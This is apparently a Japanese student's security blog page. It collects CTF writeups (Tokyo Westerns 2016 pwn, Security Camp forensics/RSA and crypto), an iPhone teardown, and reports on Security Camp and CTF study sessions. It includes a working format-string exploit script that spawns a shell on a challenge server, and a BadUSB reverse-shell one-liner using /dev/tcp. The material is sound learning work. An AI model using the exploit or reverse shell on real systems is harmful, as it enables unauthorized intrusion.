ブログ未満のなにか

ブログなのか誰にも分からない

iPhone 5を分解してみた話

はじめに

4年前に契約したiPhone 5を、分解してみた。
1ヶ月前から液晶が割れて黒いシミのようなものが出ていて、
1週間前からタッチパネルが反応しなくなってきていた。

自分で修理するキットもあるんだなー、と調べながら考えていたが、
このまま使い続けるのもアレなので、今日発売されたiPhone 7に乗り換えた。

もう使わない&使えない状態のiPhone 5をバラして、中身を観察してみた。

バラした後

ちなみに今はこんな感じ
リチウムイオンポリマーバッテリーが殆どのスペースを占領している。
ちなみにだが、この状態でもiTunesで認識されているし、MacFaceTimeiPhoneを使って電話をかけることも出来た。

f:id:hama7230:20160916180925j:plain

カメラモジュール小さいなー

f:id:hama7230:20160916180958j:plain

デジタイザーも薄い

f:id:hama7230:20160916181055j:plain

f:id:hama7230:20160916181241j:plain

おわりに

Appleが公式で出している資料とかないかな。
詳細とか気になる

Tokyo Westerns/MMA CTF 2nd 2016 writeup

はじめに

RinGorillaというチームで、参加しました。
530ptの99位で、僕が通したsubmitは、60ptです。
と言っても、welcomeの10ptがあるので、実質1問だけです。
他のメンバーに申し訳ない。。。

解けたjudgementと、他のwriteupを見ながら解いたgreetingの2問のwriteupです。

judgement

事前調査。

% file judgement 
judgement: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID

% checksec --file judgement  
[*] '/home/hama/ctf/twctf/judgement'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[hama@vm_ubuntu-x86_64] ~/


main関数の前に、load_flagという関数が呼ばれており、flagが読まれているよう。
flagのあるメモリのアドレスは、0x804a0a0だった。
スタックに、0x804a0a0があれば、FSBで読み出すことができる。

printf実行直前で、0x804a0a0を検索してみると、スタックに積まれていることがわかる。
gdbで、0x804a0a0のオフセットを確認したら、28と32だった。

gdb-peda$ searchmem 0x804a0a0
Searching for '0x804a0a0' in: None ranges
Found 7 results, display max 7 items:
judgement : 0x80486e6 (<init+89>:	mov    al,ds:0x8d0804a0)
judgement : 0x80487ab (<main+128>:	mov    al,ds:0x8d0804a0)
judgement : 0x80496e6 --> 0x804a0a0 ("TWCTF{dummy}")
judgement : 0x80497ab --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb00 --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb10 --> 0x804a0a0 ("TWCTF{dummy}")
  [stack] : 0xffffdb44 --> 0x804a0a0 ("TWCTF{dummy}")
% nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> %32$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

greeting

競技中に解けなかった。
どこのアドレスを書き換えればいいのか分からずタイムアップ。

% file greeting 
greeting: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[
[hama@vm_ubuntu-x86_64] ~/ctf/twctf/greeting

% checksec --file ./greeting
[*] '/home/hama/ctf/twctf/greeting/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE


main関数の処理が終わると、_fini_arrayにあるアドレスの処理が実行される。
この_fini_arrayの値を書き換えてやれば、main関数終了後に、任意の処理を実行可能となっている。
_fini_addrをmainに書き換える。また、strlenのGOTを、systemに書き換える。
入力された文字列の長さを得るために、strlen(input)となっているので、system("/bin/sh")となるようにする。
二度目のmainの処理で、入力として"/bin/sh"を与える。
以下が、そのexploitのコード。

from pwn import *
from libformatstr import FormatStr

host = 'pwn2.chal.ctf.westerns.tokyo'
port = 16317

_fini_array_addr = 0x08049934
main_addr = 0x080485ed 
system_addr = 0x08048490
strlen_got_addr = 0x8049a54

offset = 12
padding = 2

'''
  20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4

080485ed <main>:
   80485ed:       55                      push   ebp
   80485ee:       89 e5                   mov    ebp,esp
   80485f0:       83 e4 f0                and    esp,0xfffffff0

08048490 <system@plt>:
    8048490:       ff 25 48 9a 04 08       jmp    DWORD PTR ds:0x8049a48
    8048496:       68 28 00 00 00          push   0x28
    804849b:       e9 90 ff ff ff          jmp    8048430 <_init+0x2c>

080484c0 <strlen@plt>:
    80484c0:       ff 25 54 9a 04 08       jmp    DWORD PTR ds:0x8049a54
    80484c6:       68 40 00 00 00          push   0x40
    80484cb:       e9 60 ff ff ff          jmp    8048430 <_init+0x2c>
'''

p = FormatStr()
p[_fini_array_addr] = main
p[strlen_got_addr] = system

r = remote(host, port)
print r.recv()
r.sendline(p.payload(offset, padding, len("Nice to meet you, ")))
print r.recv()
r.sendline("/bin/sh")
r.interactive()
% python exploit.py 
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 16317: Done
Hello, I'm nao!
Please tell me your name... 
Nice to meet you,                                                                                                                        
[*] Switching to interactive mode                                                                                                        
                                                                                                                                         
Please tell me your name... $ cat flag
TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
$ 
[*] Closed connection to pwn2.chal.ctf.westerns.tokyo port 16317

おわりに

pwn初心者なので、greetingは勉強になった。
今回から、pwn系のtoolを使い始めたので、慣れていきたい。
運営のTokyo Westernsに感謝!

camp ctf 2016 writeup -ジャンルが分からない問題編 part 1-

はじめに

前回の記事に引き続き、セキュリティキャンプで開催されたCTFのwriteupです。
今回は、問題のジャンルが判別できなかったものです。

secret.zip

/home/pi/problems/に、いくつかのファイルが置いてある。
その中の一つで、forensic系の問題。

解凍して、種類を確認してみる。

$ unzip secret.zip 
Archive:  secret.zip
  inflating: camp_forensic.bin

$ file camp_forensic.bin 
camp_forensic.bin: Linux rev 1.0 ext4 filesystem data, UUID=1da7d7fb-a2a2-405b-95ee-c506c875aa7e (needs journal recovery) (extents) (huge files)

ext4なので、マウントしてみる。中身は、以下の通りだった。flagディレクトリの中にflagファイル、隠しディレクトリの.keysの中にid_rsa.pubといった感じ(lost+foundは知らない。見れない理由は分からないけど、解いていく過程で必要なかった)
各ファイルの中身は以下の通り。
flagファイルはダミー。id_rsa.pubは、名前とファイルの形式から、RSAの公開鍵だと思われる。

$ sudo mount -o loop camp_forensic.bin /mnt/
$ tree -a /mnt/
/mnt/
├── flag
│   └── flag
├── .keys
│   └── id_rsa.pub
└── lost+found [error opening dir]

$ cat /mnt/flag/flag 
FLAG{dummy}
$ cat /mnt/.keys/id_rsa.pub 
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky
YSP6jQIDAQAB
-----END PUBLIC KEY-----

ここで、消去されたファイルがないか探してみる。あった。

$ sudo extundelete --after 1470068040 --restore-all ./camp_forensic.bin
Only show and process deleted entries if they are deleted on or after 1470068040 and before 9223372036854775807.
NOTICE: Extended attributes are not restored.
WARNING: EXT3_FEATURE_INCOMPAT_RECOVER is set.
The partition should be unmounted to undelete any files without further data loss.
If the partition is not currently mounted, this message indicates 
it was improperly unmounted, and you should run fsck before continuing.
If you decide to continue, extundelete may overwrite some of the deleted
files and make recovering those files impossible.  You should unmount the
file system and check it with fsck before using extundelete.
Would you like to continue? (y/n) 
y
Loading filesystem metadata ... 8 groups loaded.
Loading journal descriptors ... 45 descriptors loaded.
Searching for recoverable inodes in directory / ... 
1 recoverable inodes found.
Looking through the directory structure for deleted files ... 
0 recoverable inodes still lost.

% ls
RECOVERED_FILES/  camp_forensic.bin  secret.zip

% tree -a RECOVERED_FILES
RECOVERED_FILES
└── flag
    └── flag.txt

中身は、暗号化されているようなので、復号する必要がある。

% cat RECOVERED_FILES/flag/flag.txt 
#J4?j?-?v=???R*E&???YH? %                                                                                                     

% xxd RECOVERED_FILES/flag/flag.txt 
0000000: 0623 4a34 ff6a 9910 2da1 763d a2e7 e652  .#J4.j..-.v=...R
0000010: 042a 4526 8ab8 8259 48c7 1320            .*E&...YH.. 

ここで、最初に見つけたRSAの公開鍵を使うんだなと考える。鍵長も長くなさそうだしゴリ押しで行けるだろwという発想。
公開鍵のファイルから、eとNを取り出す。220bitなので、現実的時間内に、pとqを求めることができる。

% openssl rsa -text -modulus -pubin < id_rsa.pub 
Public-Key: (220 bit)
Modulus:
    0c:3c:3e:01:29:e2:fd:00:67:b8:a6:97:cb:56:6b:
    7d:49:f7:da:6b:16:97:d9:32:61:23:fa:8d
Exponent: 65537 (0x10001)
Modulus=C3C3E0129E2FD0067B8A697CB566B7D49F7DA6B1697D9326123FA8D
writing RSA key
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDDw+ASni/QBnuKaXy1ZrfUn32msWl9ky
YSP6jQIDAQAB
-----END PUBLIC KEY-----

pとqは、1067720436041231358402956670029837と1206804386570390765714542811755649だった。

% msieve -q -v 0x0c3c3e0129e2fd0067b8a697cb566b7d49f7da6b1697d9326123fa8d


Msieve v. 1.52 (SVN unknown)
Wed Aug 31 21:40:02 2016
random seeds: e9b0fdb9 aae3203b
factoring 1288529705845408357244049553359282722253970863715459988603183299213 (67 digits)
searching for 15-digit factors
commencing quadratic sieve (67-digit input)
using multiplier of 13
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 153941 (7152 primes)
using large prime bound of 10621929 (23 bits)
using trial factoring cutoff of 23 bits
polynomial 'A' values have 8 factors
restarting with 3567 full and 38233 partial relations

7753 relations (3567 full + 4186 combined from 38233 partial), need 7248
sieving complete, commencing postprocessing
begin with 41800 relations
reduce to 11350 relations in 2 passes
attempting to read 11350 relations
recovered 11350 relations
recovered 8996 polynomials
attempting to build 7753 cycles
found 7753 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 3567
   length 2 : 4186
largest cycle: 2 relations
matrix is 7152 x 7753 (1.1 MB) with weight 215230 (27.76/col)
sparse part has weight 215230 (27.76/col)
filtering completed in 4 passes
matrix is 6588 x 6652 (0.9 MB) with weight 178112 (26.78/col)
sparse part has weight 178112 (26.78/col)
commencing Lanczos iteration
memory use: 0.9 MB
lanczos halted after 106 iterations (dim = 6582)
recovered 61 nontrivial dependencies
prp34 factor: 1067720436041231358402956670029837
prp34 factor: 1206804386570390765714542811755649
elapsed time 00:00:01

あとはやるだけ。
private.keyの生成は、過去の記事を見てください。dを求めたら、後はスクリプト内の各パラメータを設定するだけ
hama.hatenadiary.jp

% openssl rsautl -decrypt -inkey private.key < flag.txt                   
f0r3n51c515fun

さいごに

本当は他の問題も書く予定だったが、長くなったので分割します。
自分で書いたスクリプトを、後から見返すとセンスなさすぎ、汚すぎで見てられない。
問題自体は、結構楽しめて解けた。フラグからforensicとあるが、RSAで詰まった人の方が多いような気もする。
実際に自分も競技時間中にopensslで公開鍵のパラメータの表示方法を忘れて詰まってしまった。
競技中にインターネットから遮断されていたのが辛かった。

camp ctf 2016 writeup -Earth編-

はじめに

セキュリティキャンプ全国大会2016中に開催されたctfのwriteupです。
まだ全部解いてないので、Earth(Crypto)だけのwriteupです。

ポートスキャンの結果

Earthが待ち受けているのは、10725番ポートだった。このポートに対してnetcatして、解いていく感じ。

% nmap 192.168.179.3 -p1-65535

Starting Nmap 7.12 ( https://nmap.org ) at 2016-08-29 20:51 JST
Nmap scan report for 192.168.179.3
Host is up (0.013s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
10725/tcp open  unknown
24154/tcp open  unknown

1問目

見た感じrot13だと思ったので、pythonで確認。

% nc 192.168.179.3 10725
----------------------------------------------------------------
Problem #1
SYNT{uryybpelcgbfreire}

Challenge 1/3>
% python                                                   
Python 2.7.10 (default, Oct 23 2015, 19:19:21) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> "SYNT{uryybpelcgbfreire}".decode("rot13")
u'FLAG{hellocryptoserver}'

2問目

1問目のflagを入力して2問目へ。
rot13の次だから、換字式なんだろうなーと思い、大文字小文字のアルファベットを入力してみる。

Problem #2
KMZH{xbqofodmzxxnddnotqu}

Challenge 1/3> abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQESTUVWXYZ
zrdaqkhtnlpmijvowuxbfsegcyZRDAQKHTNLPMIJVOWQXBFSEGCY
Wrong..
Challenge 2/3>

より換字式っぽさが出てきたので、適当に復号してみる。

# decrypto.py

P = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQESTUVWXYZ{}"
C = "zrdaqkhtnlpmijvowuxbfsegcyZRDAQKHTNLPMIJVOWQXBFSEGCY{}"

flag = "KMZH{xbqofodmzxxnddnotqu}"

print "".join(P[C.index(q)] for q in flag)
# FLAG{stepupclassiccipher}

ちなみにだが、この変換テーブルは接続するたびに変わっている。

3問目

2問目のflagを入力して、3問目へ。
16進数のような文字列が出てきた。

Problem #3

1fb53a2b241ad4b1219609143010d8b120890f0322

Challenge 1/3> AAAAAAAAAAAAAAAAAAAAAA
18b83a2d1e23fa8218b83a2d1e23fa8218b83a2d1e23
Wrong..

そのままではASCIIコードとしては使えないので、xorしているんだろうな、と予測する。
1回の接続中にxorの鍵が変わることはないだろうと踏んで、AAA...を入力。出力結果からxorの鍵を求めて、それと出題をxorする。

q = "1fb53a2b241ad4b1219609143010d8b120890f0322".decode("hex")
aaa = "18b83a2d1e23fa8218b83a2d1e23fa8218b83a2d1e".decode("hex")

flag = ""
for i in range(len(d)):
    flag += chr((ord(aaa[i]) ^ ord("A") ) ^ ord(q[i]))
print flag
# FLAG{xorxorxorcrypto}

writeupを書いてる途中で気づいたが、鍵は8文字ぐらいで繰り返しになっている。

4問目

Problem #4 - RSA
やるだけ

----------------------------------------------------------------
Problem #4 - RSA

p = 89763157488328820493828889999529349687515193829186446452191659847993832608188788728417088150112600782050523041398$
3432801309883064874870881446698538363907
q = 113841038790428002844600998710560664858598146193863557129392399065993065441040086685388432151725491152653570885016
24031156542729241733486420090143766579357
e = 65537
C = 0x23464c5c42a522eed7e2f15d7ada1a8c9d87918f1bd01ccdf6718e5fffa09c6ca166732f41dd23af65df64771d40508a86c6590725eb2c8c
dcc2a51b6a7ab6f483c393a2a59468341302a1d58f945541a5ffd23283c5c04b0c449ba3bb7e53b0bc6530bfcc5e9757ae8b49da67d2d47ef9aba7
c65ca3517d5bf6d7b5da3fb421
Answer(FLAG{...})>
def bits(integer): #Gets number of bits in integer
   result = 0
   while integer:
      integer >>= 1
      result += 1
   return result
def mod_pow(base, exponent, modulo=None): #Allows fast exponentation with and without moduli
   result = 1L
   if modulo == None:
      iteration = bits(exponent)
      while iteration >= 0:
         result *= result
         if (exponent >> iteration) & 1:
            result *= base
         iteration -= 1
   else:
         firstModulus = base % modulo
         iteration = bits(exponent)
         while iteration >= 0:
            result = (result * result) % modulo
            if (exponent >> iteration) & 1:
               result = (result * firstModulus) % modulo
            iteration -= 1
   return result

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)


# ax = 1 mod m 
def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m

p = 8976315748832882049382888999952934968751519382918644645219165984799383260818878872841708815011260078205052304139803432801309883064874870881446698538363907
q = 11384103879042800284460099871056066485859814619386355712939239906599306544104008668538843215172549115265357088501624031156542729241733486420090143766579357
e = 65537
c = 0x23464c5c42a522eed7e2f15d7ada1a8c9d87918f1bd01ccdf6718e5fffa09c6ca166732f41dd23af65df64771d40508a86c6590725eb2c8cdcc2a51b6a7ab6f483c393a2a59468341302a1d58f945541a5ffd23283c5c04b0c449ba3bb7e53b0bc6530bfcc5e9757ae8b49da67d2d47ef9aba7c65ca3517d5bf6d7b5da3fb421


phi = (p-1) * (q-1)
n = p * q
d = modinv(e, phi)

m = mod_pow(c, d, n)
print hex(m)[2:-1].decode("hex")
# FLAG{didyoulearnrsa?}

全部回答すると、祝福が見れる。

Answer(FLAG{...})> FLAG{didyoulearnrsa?}
Correct!
----------------------------------------------------------------
Congratulations! You solved all challenges!

おわりに

難易度自体は低めだったので、「早めに取り組めていたらなー」と後悔している。
やるだけだった。

mixi git challenge の感想

はじめに

mixi主催の「git challenge」に参加しました。
gitに関する問題を解いて競い合う感じのイベントです。

競技内容

問題内容は公開しないように、とのことなので特に書くことはありません。
ただ、addとcommit、pushぐらいしか使ったことない僕では、全然ダメでした。
1ptしか取れず、辛かったです。相方がほとんどのポイントを入れてくれたので申し訳なかったです。
conflictの解決が全くできませんでした。
チュートリアルの時点で、着いていけてなかったので、挑戦していない問題の解説とか聞いても理解できませんでした。

gitの構造

ロクに問題が解けなかった(取っ掛かりさえ分からなかった)ので、最後の1時間で星5の問題に挑戦していました。
詳細は伏せますが、gitの仕組みを突いた問題でした。その過程で、色々と知見を得ることができたのが良かったです。
gitはファイルやディレクトリをobjectとして管理していること、objectの構造、objectが多いとpackされること、unpackの仕方、unpackの仕様や、pushするときの仕様などなどです。

ここを参考にしてました。
Git - Gitオブジェクト


実際に起こり得そうな問題では、どこで使えるのか分からないので、CTFで出ることを祈ってます。

終わりに

僕自身はダメダメでしたが、イベントはとても楽しかったです。
美味い飯!
美人事!
Octcatのステッカー!
最高ですね。

どうでもいいことなんですが、競技時間中の脳内BGMは「conflict」でした。帰りにゲーセン行ってチュウニズムでconflictやりました。

siromaru + cranky / conflict [Music Video]

セキュリティキャンプ2016 全国大会 参加報告・感想

はじめに

8月13日時点で、書きかけです。
ちゃんとしたものは、院試が終わってからになります。

院試が終わりました。結果はどこかで報告してると思います。
seccamp CTFのwriteupは、SANSやらgit challengeが終わってから別記事として挙げます。
(2016/08/18)

チーム名は「一対三」と書いて、「ゔぃむのかち」と読みます。
チーム4人の中で、Vim派が3人、Emacs派が1人だったのが由来です。


参加した講義一覧

各講義内容に関しては、後で書きます
ハードウェアよりなのはご愛嬌。

専門講義1:1-C 公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~
専門講義2:2-B 謎マシンでNetBSDのクロス開発体験
専門講義3:3-B フィジカル・リバースエンジニアリング入門
専門講義4:4-C オンラインゲームアタック&ディフェンスチャレンジ
専門講義5:5-B USBメモリからブートしてみよう
専門講義6:6-B AVRマイコンで作るBadUSB自作
専門講義7:7-C 遠隔操作マルウェアと標的型攻撃からの防衛
公開鍵暗号のハードウェア実装と攻撃~ICカードが持つ脆弱性とその対策~

サイドチャネル攻撃を実践してみる講義。
サイドチャネル攻撃の学習用ボードを用いた演習で、RSAとAESの秘密鍵を解析した。
RSAは、計算する回路の違いから電圧に差が生じるので、オシロスコープを見ながら、鍵を推定した。
AESは、ノイズの影響が大きく、多量のサンプリングを取って解析した。サンプリングしたデータから、鍵を推定する過程は、元から用意されていたツールを使ったので、詳細は分からなかった。

サイドチャネル攻撃を知識としてしか知らなかったので、実践できたのがとても良かった。

謎マシンでNetBSDのクロス開発体験

VMNetBSDを動作させ、その上でRaspberry Piで動作するカーネルをビルドした。
僕の環境では、カーネルを書き換えて動作させたところ、dhcpdあたりで処理が止まってしまった。
LANケーブルを繋がないと、正常に処理が進んでいくので、dhcpdに関するビルドが失敗もしくはバグだと思う。

Raspberry Piをbaremetalさせるときに、クロスコンパイルを整備したことがあるが、NetBSDだととても簡単にできた(そもそもデフォルトで揃っていた?)。

フィジカル・リバースエンジニアリング入門

よく分からない基盤を渡され、そこから解析をしていく講義。
まずは、基盤上にあるチップの型番を調べ、リファレンスシートが探し、リファレンスシートを読みながら、UARTやJTAGがないか探した。
実際に、UARTからログを抜き出し、どのような情報があるのか調査した。
ROMの開始アドレスやサイズなどを調べた。

オンラインゲームアタック&ディフェンスチャレンジ

この講義が一番辛かった。
「Node.jsわからん!Web無理!」以上です。
精進します。

USBメモリからブートしてみよう

USBのMBRに命令書き込んで、OSを介さずにHello World!する講義。
講義資料として頂いた本の表紙が可愛い。

AVRマイコンで作るBadUSB自作

AVRマイコンを使って、BadUSBを作ってみる講義。AVRマイコンは、PS/2キーボードのキー入力をエミュレートし、PS/2-USB変換アダプターでPCに接続するといった感じ。

Windowsに対して、電源を落とすBasUSBを作った。
「Alt + F4」と「 Enter」を押すだけ。

Linux(もしくはそれに準ずる感じのOS)に対して、リバースシェルを貼るBadUSBも作った。
「sh -i >& /dev/tcp/10.0.0.1/8080 0>&1」を入力するだけ。

他の参加者の作ったBadUSBを見て回って、キーボードをエミュレートしてるだけでも、色々な事ができる事を知った。

遠隔操作マルウェアと標的型攻撃からの防衛

個人的に雲の上の存在だと思っていた凌さんの講義。他の講師に関しては、名前聞いた事あるなーぐらいしか思わなかったが、凌さんにお会いできた時は感動した。そもそも実在したんだとさえ思った。

ShinoBotでのマルウェア体験や、RAT(Remote Access Trojan / Remote Administration Tool)の開発をした。
無限CDトレー開き最高!

tweetは、マルウェア体験中にwebカメラで撮影されていたもの。


seccamp CTF

結果は、3位。
競技時間中に解けたのは3問。
放置したのが2問。
競技中はノータッチだったけど、あとからやってみて解けたのが2問でした。
競技中、インターネットに接続できなくて無限に辛かった。

競技用のイメージが配布されるらしいので、ある程度解いたらwriteup書きます。

f:id:hama7230:20160818130457j:plain:w300

グループワーク

結果は、ナイスファイト賞
たぶん、投票数的に次点。
内容は、YouTuberによるITモラルを伝える動画の配信
会場の笑いを取れたので満足した。
結構いいアイディアだったなと自画自賛してるのは内緒


f:id:hama7230:20160818130500j:plain:w300

感想

たのしかった。
あと煽られすぎた。理由のない唐突なプロはやめて

さいごに

参加者、チューター、講師、運営の皆様方のおかげで、とても楽しく刺激的な5日間でした。
本当にありがとうございました!
来年はチューターとして参加できるように、どんどんアウトプットしていきたいです。

katagaitai CTF勉強会 #5 - 関東|med の感想

はじめに

中級者くらいの人 ではないけど、強くなりたい初心者。
プロによる勉強会なので、色々と学べるはずだと思い参加しました。

午前にcrypto、午後にpwnという2部構成。
どちらも、今の自分には難易度が高かった(特にtp)
いつかは、サクッと解けるようになりたいなぁ...

細かい内容自体は、いずれスライドが公開されるそうなので割愛。

crypto

まず、Merkle-Damgård構造の説明を受け、それに対する代表的攻撃手法であるlength-extensionを実践した。
あるハッシュ値から内部状態を割り出せれば、length-extensionが可能であるらしい。

次に、FastCallという、あるメッセージ(ファイル)から同じハッシュ値となる2つのメッセージ(ファイル)を出力するツールを使った。
MD5の衝突攻撃と呼ばれるそうで、MD5が同じでありながら、SHA1は異なるようなものが生成可能。(すごい)

parlorは院試終わったらやる!

pwn

tp(辛いpwn)を題材に、ヒープ系pwnの解き方と、sandboxの攻略方法を解説していた。
わからん!本当にわからん!
過去のkatagaitaiCTFの資料を読んで勉強します...

配布されたexploitを走らせると確かにフラグが取れたが、圧倒的知識不足で理解が追いつかなかった。

おわりに

katagaitaiCTF、5周年おめでとうございます!

(9時間近い勉強会は、kosigaitai)